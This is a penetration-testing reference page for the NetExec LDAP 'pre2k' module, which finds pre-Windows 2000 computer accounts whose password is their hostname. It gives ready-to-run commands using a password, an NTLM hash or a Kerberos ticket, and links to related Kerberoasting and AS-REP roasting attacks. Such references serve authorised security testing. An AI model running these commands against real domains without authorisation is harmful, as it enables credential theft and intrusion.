NetExec LDAP Pre-Windows 2000 Accounts

Enumerate pre-Windows 2000 compatible computer accounts that use the hostname as password

Curated and verified by Ahmad Alawneh, penetration tester (OSCP+, CRTE) · Last updated April 10, 2026

Tool: nxc
Category: Credential Attacks / Kerberoasting
Platform: linux
Requires: password
Protocols: LDAP

Open in Command Manager

Syntax

Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.

nxc ldap '<ip>' -u '<user>' -p '<password>' -M pre2k

Credential variants

The same attack using a different authentication material.

NTLM Hash requires NTLM hash

nxc ldap '<ip>' -u '<user>' -H '<hash>' -M pre2k

Kerberos Ticket requires Kerberos ticket

nxc ldap '<ip>' -u '<user>' --use-kcache -M pre2k

Examples

nxc ldap '192.168.1.100' -u 'user' -p 'password' -M pre2k

Tags

nxc ldap pre2k computer-account weak-password enumeration

Impacket AS-REP Roast AS-REP Roasting for accounts without Kerberos Pre-Authentication
Impacket Get TGT Get TGT to be used in Kerberos authentication
Impacket Kerberoast Extract service account hashes via Kerberoasting
Impacket KeyListAttack Abuse RODC (Read-Only DC) credential caching to retrieve hashes for accounts cached on…
Impacket Targeted Kerberoast Request a TGS only for a specific service account instead of every kerberoastable user…
NetExec LDAP AS-REP Roasting Request AS-REP responses for every account with DONT_REQ_PREAUTH set and write hashes to…
NetExec LDAP Kerberoasting Request TGS tickets for every account with a SPN and write hashes to a file ready for…
NetExec SMB Timeroast Exploit NTP to request hashes for computer accounts without a password (Timeroasting)